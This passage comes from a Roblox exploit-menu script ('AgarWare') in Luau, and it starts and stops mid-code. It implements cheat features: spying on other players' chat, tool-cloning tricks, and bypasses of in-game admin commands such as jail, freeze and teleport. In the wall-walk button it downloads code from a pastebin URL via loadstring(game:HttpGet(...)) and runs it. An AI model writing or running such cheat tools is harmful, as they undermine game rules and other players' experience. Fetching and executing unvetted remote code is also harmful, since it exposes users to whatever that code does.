LocalPlayer.Name:lower() or nearest.DisplayName:lower() == LocalPlayer.DisplayName:lower()) then LocalPlayer:Kick("You have been kicked from the game.") end elseif LocalPlayer.Name:lower() == kickTarget or LocalPlayer.DisplayName:lower() == kickTarget then LocalPlayer:Kick("You have been kicked from the game.") end end end end -- ============================================================ -- CHATSPY ENABLE / DISABLE -- ============================================================ ChatSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0) local function chatEnable() isEnabled = true spychat = true ChatSpyTickBox.BackgroundColor3 = MainAccentColor.BackgroundColor3 end local function chatDisable() isEnabled = false spychat = false ChatSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end ChatSpyTickBox.MouseButton1Click:Connect(function() if isEnabled then chatDisable() else chatEnable() end end) -- ============================================================ -- ARKSPY ENABLE / DISABLE -- ============================================================ local function arkEnable() arkSpyOn = true if ArkSpyTickBox then ArkSpyTickBox.BackgroundColor3 = ProtectionAccentColor and ProtectionAccentColor.BackgroundColor3 or Color3.fromRGB(0, 170, 255) end end local function arkDisable() arkSpyOn = false if ArkSpyTickBox then ArkSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end if ArkSpyTickBox then ArkSpyTickBox.MouseButton1Click:Connect(function() if arkSpyOn then arkDisable() else arkEnable() end end) end -- ============================================================ -- DONATESPY ENABLE / DISABLE -- ============================================================ local function donateEnable() donateSpyOn = true if DonateSpyTickBox then DonateSpyTickBox.BackgroundColor3 = MiscAccentColor and MiscAccentColor.BackgroundColor3 or Color3.fromRGB(0, 170, 255) end end local function donateDisable() donateSpyOn = false if DonateSpyTickBox then DonateSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end if DonateSpyTickBox then DonateSpyTickBox.MouseButton1Click:Connect(function() if donateSpyOn then donateDisable() else donateEnable() end end) end -- ============================================================ -- MUTEDSPY ENABLE / DISABLE -- ============================================================ local function mutedEnable() mutedSpyOn = true if MutedSpyTickBox then MutedSpyTickBox.BackgroundColor3 = MiscAccentColor and MiscAccentColor.BackgroundColor3 or Color3.fromRGB(0, 170, 255) end end local function mutedDisable() mutedSpyOn = false if MutedSpyTickBox then MutedSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end if MutedSpyTickBox then MutedSpyTickBox.MouseButton1Click:Connect(function() if mutedSpyOn then mutedDisable() else mutedEnable() end end) end -- ============================================================ -- BOTREPLY ENABLE / DISABLE -- ============================================================ local function botReplyEnable() botReplyOn = true if BotReplyTickBox and BotAccentColor then BotReplyTickBox.BackgroundColor3 = BotAccentColor.BackgroundColor3 end end local function botReplyDisable() botReplyOn = false if BotReplyTickBox then BotReplyTickBox.BackgroundColor3 = Color3.new(0,0,0) end end if BotMinTimeTickBox then BotMinTimeTickBox.BackgroundColor3 = Color3.new(0,0,0) BotMinTimeTickBox.MouseButton1Click:Connect(function() if botReplyTickOn(BotMinTimeTickBox) then BotMinTimeTickBox.BackgroundColor3 = Color3.new(0,0,0) else BotMinTimeTickBox.BackgroundColor3 = BotAccentColor and BotAccentColor.BackgroundColor3 or Color3.fromRGB(0,170,255) end end) end if BotReplyTickBox then BotReplyTickBox.BackgroundColor3 = Color3.new(0,0,0) BotReplyTickBox.MouseButton1Click:Connect(function() if botReplyOn then botReplyDisable() else botReplyEnable() end end) end -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then spychat = false arkSpyOn = false donateSpyOn = false mutedSpyOn = false chatSpyTooltip:Destroy() arkSpyTooltip:Destroy() donateSpyTooltip:Destroy() mutedSpyTooltip:Destroy() end end) end; task.spawn(C_d2); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsScript local function C_df() local script = G2L["df"]; -- ============================================================ -- TOOLS GROUP MASTER SCRIPT -- Place this script directly under ToolsGroup -- Handles: Minimize, Drop All, Equip All, Equip Enlighten + Tooltip -- ============================================================ local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local ToolsGroup = script.Parent local ToolsMinimize = ToolsGroup.ToolsTitle.ToolsMinimize -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = ToolsGroup while p do if p:IsA("ScreenGui") then return p end p = p.Parent end return game:GetService("CoreGui") end -- ============================================================ -- TOOLTIP CREATOR -- ============================================================ local function createTooltip(name, text, parent) local frame = Instance.new("Frame") frame.Name = name frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame if parent then parent.MouseEnter:Connect(function() local abs = parent.AbsolutePosition local size = parent.AbsoluteSize frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) frame.Visible = true end) parent.MouseLeave:Connect(function() frame.Visible = false end) end return frame end -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local function getRows() local rows = {} for _, child in ipairs(ToolsGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = ToolsGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) ToolsMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then ToolsGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end ToolsMinimize.Text = "+" else ToolsGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end ToolsMinimize.Text = "-" end end) -- ============================================================ -- DROP ALL BUTTON -- ============================================================ local DropAllRow = ToolsGroup:FindFirstChild("DropAllRow") if DropAllRow then local DropAllButton = DropAllRow:FindFirstChild("DropAllButton") if DropAllButton then DropAllButton.MouseButton1Click:Connect(function() -- Move all tools from backpack to character for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do if v:IsA("Tool") then v.Parent = LocalPlayer.Character end end task.wait() -- Drop all tools from character to workspace for _, v in pairs(LocalPlayer.Character:GetChildren()) do if v:IsA("Tool") then v.Parent = workspace end end end) end end -- ============================================================ -- EQUIP ALL BUTTON -- ============================================================ local EquipAllRow = ToolsGroup:FindFirstChild("EquipAllRow") if EquipAllRow then local EquipAllButton = EquipAllRow:FindFirstChild("EquipAllButton") if EquipAllButton then EquipAllButton.MouseButton1Click:Connect(function() -- Move all tools from backpack to character (equips them) for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do if v:IsA("Tool") then v.Parent = LocalPlayer.Character end end end) end end -- ============================================================ -- EQUIP ENLIGHTEN BUTTON + TOOLTIP -- ============================================================ local EquipEnlightenRow = ToolsGroup:FindFirstChild("EquipEnlightenRow") if EquipEnlightenRow then local EquipEnlightenButton = EquipEnlightenRow:FindFirstChild("EquipEnlightenButton") local EquipEnlightenHelp = EquipEnlightenRow:FindFirstChild("EquipEnlightenHelp") if EquipEnlightenButton then EquipEnlightenButton.MouseButton1Click:Connect(function() -- Find ALL The Arkenstone in backpack and equip them for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do if v:IsA("Tool") and v.Name == "The Arkenstone" then v.Parent = LocalPlayer.Character end end end) end -- Tooltip for EquipEnlightenHelp if EquipEnlightenHelp then createTooltip( "EquipEnlightenTooltip", "Equips enlighten without unequipping other tools. This can be used to clone yourself with a boombox or other stuff.", EquipEnlightenHelp ) end end -- ============================================================ -- ADD MORE BUTTONS OR TOOLTIPS HERE -- ============================================================ --[[ TEMPLATE FOR NEW BUTTON: local YourRow = ToolsGroup:FindFirstChild("YourRow") if YourRow then local YourButton = YourRow:FindFirstChild("YourButton") if YourButton then YourButton.MouseButton1Click:Connect(function() -- Your code here end) end end ================================================================================ TEMPLATE FOR NEW TOOLTIP: local YourHelp = YourRow:FindFirstChild("YourHelp") if YourHelp then createTooltip( "YourTooltipName", "Your tooltip text here", YourHelp ) end ================================================================================ ]] -- ============================================================ -- CLEANUP -- ============================================================ local tooltips = {} for _, tooltip in pairs(getScreenGui():GetChildren()) do if tooltip.Name:match("Tooltip") then table.insert(tooltips, tooltip) end end script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then for _, tooltip in pairs(tooltips) do tooltip:Destroy() end end end) end; task.spawn(C_df); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiScript local function C_ee() local script = G2L["ee"]; -- ============================================================ -- ANTI GROUP MASTER SCRIPT -- Place this script directly under AntiGroup -- All Anti features are defined at the bottom - easy to add new ones -- ============================================================ local Players = game:GetService("Players") local RunService = game:GetService("RunService") local StarterGui = game:GetService("StarterGui") local Lighting = game:GetService("Lighting") local LocalPlayer = Players.LocalPlayer local AntiGroup = script.Parent local AntiAccentColor = AntiGroup:FindFirstChild("AntiAccentColor") -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local AntiMinimize = AntiGroup:FindFirstChild("AntiTitle") if AntiMinimize then AntiMinimize = AntiMinimize:FindFirstChild("AntiMinimize") end local function getRows() local rows = {} for _, child in ipairs(AntiGroup:GetChildren()) do if child:IsA("Frame") and string.sub(child.Name, -3) == "Row" then table.insert(rows, child) end end return rows end if AntiMinimize then local isMinimized = false local originalSize = AntiGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) AntiMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then AntiGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end AntiMinimize.Text = "+" else AntiGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end AntiMinimize.Text = "-" end end) end -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = AntiGroup while p do if p:IsA("ScreenGui") then return p end p = p.Parent end return game:GetService("CoreGui") end -- ============================================================ -- TOOLTIP CREATOR -- ============================================================ local function createTooltip(name, text) local frame = Instance.new("Frame") frame.Name = name frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end -- ============================================================ -- ANTI FEATURE SETUP -- ============================================================ local activeFeatures = {} local function setupAnti(config) local rowName = config.row local tickBoxName = config.tickBox local tooltipText = config.tooltip local onEnable = config.onEnable local onDisable = config.onDisable local loop = config.loop local row = AntiGroup:FindFirstChild(rowName) if not row then warn("Row not found:", rowName) return end local tickBox = row:FindFirstChild(tickBoxName) if not tickBox then warn("TickBox not found:", tickBoxName) return end local isEnabled = false local loopConnection = nil tickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- Create tooltip local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText) tickBox.MouseEnter:Connect(function() local abs = tickBox.AbsolutePosition local size = tickBox.AbsoluteSize tooltip.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltip.Visible = true end) tickBox.MouseLeave:Connect(function() tooltip.Visible = false end) -- Enable function local function enable() isEnabled = true if AntiAccentColor then tickBox.BackgroundColor3 = AntiAccentColor.BackgroundColor3 else tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255) end if onEnable then onEnable() end if loop then loopConnection = RunService.Heartbeat:Connect(function() if isEnabled then pcall(loop) end end) end end -- Disable function local function disable() isEnabled = false tickBox.BackgroundColor3 = Color3.new(0, 0, 0) if loopConnection then loopConnection:Disconnect() loopConnection = nil end if onDisable then onDisable() end end -- Click handler tickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) -- Expose to shared local featureName = rowName:gsub("Row", "") shared[featureName .. "Enable"] = enable shared[featureName .. "Disable"] = disable -- Store for cleanup table.insert(activeFeatures, { tooltip = tooltip, disable = disable, connection = loopConnection }) return { enable = enable, disable = disable, isEnabled = function() return isEnabled end } end -- ============================================================ -- DEFINE ALL ANTI FEATURES HERE -- ============================================================ -- Anti Teleport (Anti Glitch/Fling) local lastPosition = nil setupAnti({ row = "AntiTeleportRow", tickBox = "AntiTeleportTickBox", tooltip = "Prevents you from being teleported. Using TP scripts or commands won't work if anti teleport is enabled.", onEnable = function() lastPosition = nil end, onDisable = function() lastPosition = nil end, loop = function() local character = LocalPlayer.Character if not character then return end local root = character:FindFirstChild("HumanoidRootPart") if not root then return end if lastPosition then local distance = (root.Position - lastPosition).Magnitude if distance > 15 then root.CFrame = CFrame.new(lastPosition) end end lastPosition = root.Position end }) -- Anti Vamp setupAnti({ row = "AntiVampRow", tickBox = "AntiVampTickBox", tooltip = "Prevents Vampire Vanquisher gear from locking your camera and inventory.", loop = function() if LocalPlayer.Character then local humanoid = LocalPlayer.Character:FindFirstChild("Humanoid") if humanoid and humanoid.Health > 0 then pcall(function() StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) end) workspace.CurrentCamera.CameraType = Enum.CameraType.Custom workspace.CurrentCamera.CameraSubject = humanoid end end end }) -- Anti Freeze local isResetting = false setupAnti({ row = "AntiFreezeRow", tickBox = "AntiFreezeTickBox", tooltip = "Automatically resets your character when you get frozen.", onDisable = function() isResetting = false end, loop = function() local char = workspace:FindFirstChild(LocalPlayer.Name) if not char then return end if char:FindFirstChild("Hielo") and not isResetting then isResetting = true if shared.ResetCharacter then shared.ResetCharacter() end LocalPlayer.CharacterAdded:Wait() task.wait(0.2) isResetting = false end end }) -- Anti Visual setupAnti({ row = "AntiVisualRow", tickBox = "AntiVisualTickBox", tooltip = "Prevents visual commands from affecting your screen. Blocks out myopic, blind, fog and colorless", loop = function() -- Anti Myopic local blur = Lighting:FindFirstChild("Blur") if blur then blur.Enabled = false end -- Anti Blind local playerGui = LocalPlayer:FindFirstChild("PlayerGui") if playerGui then local blind = playerGui:FindFirstChild("Blind") if blind then local frame = blind:FindFirstChildOfClass("Frame") if frame then frame.BackgroundTransparency = 1 end end end -- Anti Fog local fog = Lighting:FindFirstChild("Fog") if fog then fog.Density = 0 end -- Anti Colorless local rgb = Lighting:FindFirstChild("RGB") if rgb then rgb.Enabled = false end end }) -- Anti Jail setupAnti({ row = "AntiJailRow", tickBox = "AntiJailTickBox", tooltip = "Prevents the jail command from trapping you. Other players can see your jail cell on their screens", loop = function() local char = workspace:FindFirstChild(LocalPlayer.Name) if not char then return end local jail = char:FindFirstChild("Jail") if not jail then return end for _, part in pairs(jail:GetChildren()) do if part:IsA("BasePart") and part.Name == "Part" then part.CanCollide = false part.Transparency = 1 end end end }) -- Anti Nan local nanConnection = nil local function isNaN(n) return n ~= n end local function isSafe(cf) local p = cf.Position return not (isNaN(p.X) or isNaN(p.Y) or isNaN(p.Z) or math.abs(p.X) == math.huge or math.abs(p.Y) == math.huge or math.abs(p.Z) == math.huge or math.abs(p.Y) > 500000) end local function isVoided() local spawn = workspace:FindFirstChild("Spawn") if not spawn then return false end local acm = spawn.AssemblyCenterOfMass return acm.X == 0 and acm.Y == -1000000 and acm.Z == 0 end local function onCharacterAdded(character) local hrp = character:WaitForChild("HumanoidRootPart") if not isVoided() then return end hrp.Anchored = true task.wait(0.1) hrp.CFrame = CFrame.new(0, 3, 0) hrp.Anchored = false end setupAnti({ row = "AntiNanRow", tickBox = "AntiNanTickBox", tooltip = "Prevents respawning in the void when Spawn is in the void, maptide NaN.", onEnable = function() nanConnection = LocalPlayer.CharacterAdded:Connect(onCharacterAdded) if LocalPlayer.Character then onCharacterAdded(LocalPlayer.Character) end end, onDisable = function() if nanConnection then nanConnection:Disconnect() nanConnection = nil end end }) -- ============================================================ -- ADD NEW ANTI FEATURES HERE - COPY THIS TEMPLATE: -- ============================================================ -- Anti Glitch variables local lastPosition = nil local hasTeleportedBack = false -- Anti Glitch setupAnti({ row = "AntiGlitchRow", tickBox = "AntiGlitchTickBox", tooltip = "Prevents being glitched.", onEnable = function() lastPosition = nil hasTeleportedBack = false end, onDisable = function() lastPosition = nil hasTeleportedBack = false end, loop = function() local character = LocalPlayer.Character if not character then return end local root = character:FindFirstChild("HumanoidRootPart") if not root then return end if not lastPosition then lastPosition = root.Position hasTeleportedBack = false return end local currentPos = root.Position -- Check if X coordinate is 1234567 (or very close to it) if math.abs(currentPos.X - 1234567) < 5 and not hasTeleportedBack then -- Teleported to the bad zone, send back root.CFrame = CFrame.new(lastPosition) hasTeleportedBack = true print("[Anti Glitch] Blocked teleport to 1234567 zone") elseif math.abs(currentPos.X - 1234567) >= 5 then -- Not in the bad zone anymore, reset flag and update position hasTeleportedBack = false lastPosition = currentPos end end }) --[[ TEMPLATE FOR NEW FEATURES: setupAnti({ row = "AntiTestRow", tickBox = "AntiTestTickBox", tooltip = "This is what the tooltip says", onEnable = function() -- Code to run when enabled (optional) end, onDisable = function() -- Code to run when disabled (optional) end, loop = function() -- Code that runs continuously while enabled (optional) -- This runs every frame (Heartbeat) end }) ]]-- -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then for _, feature in pairs(activeFeatures) do if feature.tooltip then feature.tooltip:Destroy() end if feature.disable then feature.disable() end end end end) end; task.spawn(C_ee); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Script local function C_10e() local script = G2L["10e"]; local Misc1Group = script.Parent local Misc1Minimize = Misc1Group.Misc1Title.Misc1Minimize local function getRows() local rows = {} for _, child in ipairs(Misc1Group:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = Misc1Group.Size local minimizedSize = UDim2.new(0, 170, 0, 20) Misc1Minimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then Misc1Group.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end Misc1Minimize.Text = "+" else Misc1Group.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end Misc1Minimize.Text = "-" end end) end; task.spawn(C_10e); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkScript local function C_114() local script = G2L["114"]; -- ============================================================ -- SCRIPT START -- ============================================================ local WWalkRow = script.Parent local WWalkButton = WWalkRow.WWalkButton local MiscGroup = WWalkRow.Parent local MiscAccentColor = MiscGroup.MiscAccentColor local player = game.Players.LocalPlayer local RunService = game:GetService("RunService") local UserGameSettings = UserSettings():GetService("UserGameSettings") -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end -- ============================================================ -- TOOLTIP SETUP -- ============================================================ local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke", tooltipFrame) tooltipStroke.Color = Color3.fromRGB(57, 57, 57) local tooltipPadding = Instance.new("UIPadding", tooltipFrame) tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) local tooltipLabel = Instance.new("TextLabel", tooltipFrame) tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Allows you to walk on walls and ceilings. THIS IS UNDO-ABLE, REJOINING WILL FIX IT" tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 local WWalkHelp = WWalkRow.WWalkHelp WWalkHelp.MouseEnter:Connect(function() local abs = WWalkHelp.AbsolutePosition local size = WWalkHelp.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) WWalkHelp.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -- ============================================================ -- BUTTON TEXT HELPERS -- ============================================================ local originalText = WWalkButton.Text local function setButtonText(text, useTextScaled) WWalkButton.Text = text WWalkButton.Font = Enum.Font.Inconsolata WWalkButton.TextScaled = useTextScaled or false end local function resetButtonText() WWalkButton.Text = originalText WWalkButton.Font = Enum.Font.Inconsolata WWalkButton.TextScaled = false end -- ============================================================ -- CAMERA SETTINGS -- ============================================================ -- Saved BEFORE executing so we can restore them after reset local savedMinZoom = player.CameraMinZoomDistance local savedMaxZoom = player.CameraMaxZoomDistance local savedSensitivity = UserGameSettings.GamepadCameraSensitivity -- ── ZOOM LIMITS ────────────────────────────────────────────── -- How close/far the camera can be while wall walk is active. -- ZOOM_MIN must stay >= 0.5. The transparency fade kicks in under -- 2 studs — the loop below overrides that so you stay visible. local ZOOM_MIN = 0.5 -- << change this to adjust how close you can zoom local ZOOM_MAX = 128 -- << change this to adjust how far you can zoom out -- ── SENSITIVITY ────────────────────────────────────────────── -- The wall walk script can mess up your camera sensitivity after reset. -- Set USE_MANUAL_SENSITIVITY = true and set MANUAL_SENSITIVITY to your -- preferred value to force it back on reset. -- Default Roblox mobile sensitivity is around 2. Range: 0.1 to 10. local USE_MANUAL_SENSITIVITY = false -- << set true to force a fixed value local MANUAL_SENSITIVITY = 2 -- << your preferred sensitivity (0.1–10) -- ============================================================ -- STATE -- ============================================================ local isExecuted = false local debounce = false local zoomLoopConn = nil -- ============================================================ -- PER-FRAME LOOP -- Runs every frame while wall walk is active: -- 1. Keeps zoom min/max unlocked so you can zoom in and out freely -- 2. Resets LocalTransparencyModifier on all character parts every -- frame so the wall walk camera can never make you invisible -- ============================================================ local function startLoop() if zoomLoopConn then return end zoomLoopConn = RunService.RenderStepped:Connect(function() -- Keep zoom range free if player.CameraMinZoomDistance ~= ZOOM_MIN then player.CameraMinZoomDistance = ZOOM_MIN end if player.CameraMaxZoomDistance ~= ZOOM_MAX then player.CameraMaxZoomDistance = ZOOM_MAX end -- Prevent character from going invisible on your screen. -- The wall walk camera sets LocalTransparencyModifier > 0 when -- you zoom in. We reset it to 0 every frame to undo that. local char = player.Character if char then for _, part in ipairs(char:GetDescendants()) do if part:IsA("BasePart") and part.LocalTransparencyModifier ~= 0 then part.LocalTransparencyModifier = 0 end end end end) end local function stopLoop() if zoomLoopConn then zoomLoopConn:Disconnect() zoomLoopConn = nil end end -- ============================================================ -- RESTORE CAMERA (called on reset/death/script remove) -- ============================================================ local function restoreCamera() stopLoop() player.CameraMinZoomDistance = savedMinZoom player.CameraMaxZoomDistance = savedMaxZoom if USE_MANUAL_SENSITIVITY then UserGameSettings.GamepadCameraSensitivity = MANUAL_SENSITIVITY else UserGameSettings.GamepadCameraSensitivity = savedSensitivity end end -- On character reset or death, restore camera and reset button player.CharacterAdded:Connect(function() restoreCamera() isExecuted = false debounce = false resetButtonText() end) -- ============================================================ -- BUTTON CLICK -- ============================================================ WWalkButton.MouseButton1Click:Connect(function() -- While showing "Executed!" text: clicking just resets text, no re-run if isExecuted then isExecuted = false debounce = false resetButtonText() return end if debounce then return end debounce = true -- Snapshot camera settings right before executing savedMinZoom = player.CameraMinZoomDistance savedMaxZoom = player.CameraMaxZoomDistance savedSensitivity = UserGameSettings.GamepadCameraSensitivity local ok, err = pcall(function() loadstring(game:HttpGet("https://pastebin.com/raw/zXk4Rq2r"))() end) if ok then isExecuted = true setButtonText("Executed! Please reset to turn it off", true) -- Start the frame loop to keep zoom working and char visible startLoop() else -- Failed: show message 3 seconds then auto-reset setButtonText("Failed to Execute", false) task.wait(3) if not isExecuted then resetButtonText() debounce = false end end end) -- ============================================================ -- CLEANUP ON SCRIPT REMOVE -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then restoreCamera() tooltipFrame:Destroy() end end) end; task.spawn(C_114); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinScript local function C_118() local script = G2L["118"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local SpinRow = script.Parent local SpinTickBox = SpinRow.SpinTickBox local SpinChanger = SpinRow.SpinChanger local MiscGroup = SpinRow.Parent local MiscAccentColor = MiscGroup.MiscAccentColor local isEnabled = false local spinConnection = nil local spinSpeed = 1 local function getAccent() return MiscAccentColor.BackgroundColor3 end local function getScreenGui() local parent = SpinRow while parent do if parent:IsA("ScreenGui") then return parent end parent = parent.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.Name = "SpinTooltip" tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipText = Instance.new("TextLabel") tooltipText.BackgroundTransparency = 1 tooltipText.Text = "Spins your character" tooltipText.TextColor3 = Color3.new(1, 1, 1) tooltipText.TextSize = 14 tooltipText.TextXAlignment = Enum.TextXAlignment.Left tooltipText.TextYAlignment = Enum.TextYAlignment.Top tooltipText.Font = Enum.Font.GothamSemibold tooltipText.TextWrapped = true tooltipText.AutomaticSize = Enum.AutomaticSize.XY tooltipText.Size = UDim2.new(0, 200, 0, 0) tooltipText.ZIndex = 101 tooltipText.Parent = tooltipFrame SpinTickBox.MouseEnter:Connect(function() local abs = SpinTickBox.AbsolutePosition local size = SpinTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) SpinTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) SpinChanger.FocusLost:Connect(function() local num = tonumber(SpinChanger.Text) if num and num > 0 then spinSpeed = num else SpinChanger.Text = tostring(spinSpeed) end end) local function enableSpin() isEnabled = true SpinTickBox.BackgroundColor3 = getAccent() local angle = 0 spinConnection = RunService.RenderStepped:Connect(function(dt) local char = LocalPlayer.Character if not char then return end local hrp = char:FindFirstChild("HumanoidRootPart") if not hrp then return end angle = angle + (-spinSpeed * 3 * dt * 60) hrp.CFrame = CFrame.new(hrp.Position) * CFrame.Angles(0, math.rad(angle), 0) end) end local function disableSpin() isEnabled = false SpinTickBox.BackgroundColor3 = Color3.new(0, 0, 0) if spinConnection then spinConnection:Disconnect() spinConnection = nil end end SpinTickBox.MouseButton1Click:Connect(function() if isEnabled then disableSpin() else enableSpin() end end) LocalPlayer.CharacterAdded:Connect(function() if isEnabled then if spinConnection then spinConnection:Disconnect() spinConnection = nil end task.wait(0.5) enableSpin() end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disableSpin() tooltipFrame:Destroy() end end) end; task.spawn(C_118); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagScript local function C_11d() local script = G2L["11d"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local FakeLagRow = script.Parent local FakeLagTickBox = FakeLagRow.FakeLagTickBox local FakeLagChanger = FakeLagRow.FakeLagChanger local MiscGroup = FakeLagRow.Parent local MiscAccentColor = MiscGroup.MiscAccentColor local isEnabled = false local lagLoop = nil local lagSpeed = 1 local function getAccent() return MiscAccentColor.BackgroundColor3 end local function getScreenGui() local parent = FakeLagRow while parent do if parent:IsA("ScreenGui") then return parent end parent = 